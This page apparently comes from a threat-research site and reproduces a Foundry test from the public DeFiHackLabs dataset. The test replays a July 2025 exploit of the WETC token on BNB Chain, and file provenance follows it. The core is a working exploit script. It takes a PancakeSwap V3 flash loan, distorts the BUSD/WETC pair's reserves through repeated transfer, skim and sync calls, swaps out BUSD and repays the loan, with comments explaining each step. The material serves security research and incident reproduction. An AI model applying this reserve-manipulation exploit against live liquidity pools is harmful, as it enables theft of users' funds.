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Public reproduction file

src/test/2025-07/WETC_Token_exp.sol

Public reproduction file for dataset entry WETC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/WETC_Token_exp.sol78 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 101k USD
8// Attacker : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
9// Attack Contract : https://bscscan.com/address/0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
10// Vulnerable Contract : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688
11// Attack Tx : https://bscscan.com/tx/0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688#code
16// @Analysis
17// Post-mortem : https://t.me/evmhacks/78?single
18// Twitter Guy : N/A
19// Hacking God : N/A
22contract WETC is BaseTestWithBalanceLog {
23 uint256 blocknumToForkFrom = 54333337;
24 uint256 borrowAmount = 1000000000000000000000000;
26 address constant busd_wetc_cakeLP = 0x8e2cc521b12dEBA9A20EdeA829c6493410dAD0E3;
27 address constant pancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
28 address constant wetc = 0xE7f12B72bfD6E83c237318b89512B418e7f6d7A7;
29 address constant busd = 0x55d398326f99059fF775485246999027B3197955;
30 address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32 function setUp() public {
33 vm.createSelectFork("bsc", blocknumToForkFrom);
34 // Change this to the target token to get token balance of, Keep it address(0) if it's ETH
35 fundingToken = address(busd);
36 }
38 function testExploit() public balanceLog {
39 // The exploit begins by taking a large flash loan from a PancakeSwap V3 pool.
40 IPancakeV3Pool(pancakeV3Pool).flash(address(this), borrowAmount, 0, "");
41 }
43 function pancakeV3FlashCallback(uint256 fee0, uint256, bytes memory) public {
44 // The core of the exploit involves manipulating the reserves of the BUSD/WETC PancakeSwap V2 pool.
45 // 1. A small initial swap is performed.
46 IPancakePair(busd_wetc_cakeLP).swap(1000, 6994607918395778704138079, address(this), "0x00");
48 // 2. Large amounts of WETC are directly transferred to the LP pair contract.
49 // The `skim` function is then called. `skim` is designed to collect excess tokens sent to the pair contract.
50 // By sending tokens and then calling skim, the attacker forces the pool's internal reserves out of sync with its actual token balances.
51 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3533285263192068394666304);
52 IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);
53 // `sync` is called to update the reserves to the now-inflated token balances, distorting the price.
54 IPancakePair(busd_wetc_cakeLP).sync();
56 // This process is repeated to further manipulate the reserves.
57 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 27354466553745045636126);
58 IPancakePair(busd_wetc_cakeLP).skim(0xB213171c9a803997B44842d0361e742e1E6691fc);
59 IPancakePair(busd_wetc_cakeLP).sync();
61 // 3. Small amounts of BUSD and more WETC are transferred in.
62 IERC20(busd).transfer(address(busd_wetc_cakeLP), 10000);
63 IERC20(wetc).transfer(address(busd_wetc_cakeLP), 3433968188649965263835649);
65 // 4. With the price heavily manipulated, the attacker swaps the remaining assets for a large amount of BUSD.
66 IPancakePair(busd_wetc_cakeLP).swap(351495403570120114936199, 0, address(this), "");
68 // 5. The flash loan is repaid with the required fee. The remaining BUSD is the profit.
69 uint256 repayAmount = borrowAmount + fee0;
70 IERC20(busd).transfer(address(pancakeV3Pool), repayAmount);
71 }
73 function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) public {
74 // This function is called by the PancakeSwap pair during the first swap.
75 // The attacker uses this callback to send the flash-loaned BUSD to the pair to cover the swap input.
76 IERC20(busd).transfer(address(busd_wetc_cakeLP), 250000000000000000002000);
77 }

Analysis

Dataset entry

Public Foundry test for “WETC” (2025-07-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7e7c1f0d567c0483f85e1d016718e44414cdbafe

  • Attack Contract

    0x7e7c1f0d567c0483f85e1d016718e44414cdbafe

  • Vulnerable Contract

    0xaf68efb3c1e81aad5cdb3d4962c8815fb754c688

  • Attack Tx

    0x2b6b411adf6c452825e48b97857375ff82b9487064b2f3d5bc2ca7a5ed08d615

File record

Name
WETC
Path
src/test/2025-07/WETC_Token_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
41ebc0746fc6506ffc5660b677fd7de21d9638f9
Language
Solidity
Size
78 lines
Date
2025-07-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/WETC_Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 41ebc0746fc6506ffc5660b677fd7de21d9638f9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.